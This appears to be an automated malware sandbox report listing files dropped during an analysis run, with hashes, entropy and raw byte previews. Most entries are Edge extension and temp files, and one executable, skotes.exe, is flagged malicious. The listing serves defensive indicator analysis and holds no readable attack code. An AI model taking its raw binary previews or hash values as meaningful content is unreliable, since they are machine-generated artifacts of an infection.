Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\35f9696c-706c-406e-bf4a-0a8a40e63aa1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\5628bbe9-ef7f-482b-9b56-c1fabc725759.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\6c4b4029-8e55-4937-ab0e-ce964aaaaf02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1862541
Entropy (8bit):	7.9944385023765285
Encrypted:	true
SSDEEP:	49152:Xpt/ndrUafQKG7oS3oD5VvDYXfVFyORPINoTMfWC:XptFrpfQKXBVvDYPOYQNoToZ
MD5:	947B59D647B63CAE954BD7CF03FAB33A
SHA1:	8F9283A9CA94CF944AE099B80153F69C6584DCAF
SHA-256:	C0D760CBAFBA92B7BF91A0B8C6ECFD181C97B45D4E3ED45951DBFE5903598ED7
SHA-512:	84541F1AB36430897B87F50474DF689DAC5376581946BA32D2A528127ADA0DDFCF3B9DA5EABFA7047FDDF6BC79ABE347AB4127B08B01185CA2CB31C2C9318952
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\840f6936-b03c-42da-a197-e662187c7d07.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCAEHDBAAEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.951025077802147
Encrypted:	false
SSDEEP:	49152:m5dUd3AaunFFlaGnp1sNA/b9deJJJaHj0aVm:mDUdAaspH/b9d
MD5:	9E17612D265863581FC761E5B94622D3
SHA1:	83C605DB6E0DF8C9547F4AD9DB9B46D1255A1E07
SHA-256:	5C2DF4701F0C81874096596AC9026C09EDC28D8BB95F6388CC41700391CCF6A9
SHA-512:	205454CE308FE6F6A39E3FF4BDFF1D0DFDDB12DFCF23D0A88A6D4CBF06B91E0EBEC9B4B2896F18893017ACD79D8E162C355C5A41CDAF96618CFB9CD02DC2FF84
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....Hl....@.................................W...k.......D...................4.K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...umzmfkfc......1.....................@...eqgvdfkx......K.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.381053290887083
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0UXbGL5G1bitL0R95M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0Um
MD5:	343D07B33797F64C0E1374C3C8481D0C
SHA1:	0D072F27380C013EAFDB3F48CD475D3FC29A0082
SHA-256:	89DF74EA7750A3B91D6DC59CB12EF1C2BA08930FD1EA85E12601F79516C04DFF
SHA-512:	F2748D4F9C6FA70684AF5A14A752B71607115C86AF5A2F374D3AE52C22F52F4C29727F621BF6B5C1EC6FF1F5BF5090504B2CF1C39B50FAECE47023D14137F88E
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\f579fa17-e028-447d-be1e-657442534647.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\ffda4c77-2e07-4c2f-bb9d-b075c9653b5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8188_1153577029\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8188_1153577029\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8188_1153577029\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8188_1153577029\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_1153577029\ffda4c77-2e07-4c2f-bb9d-b075c9653b5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\5628bbe9-ef7f-482b-9b56-c1fabc725759.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- 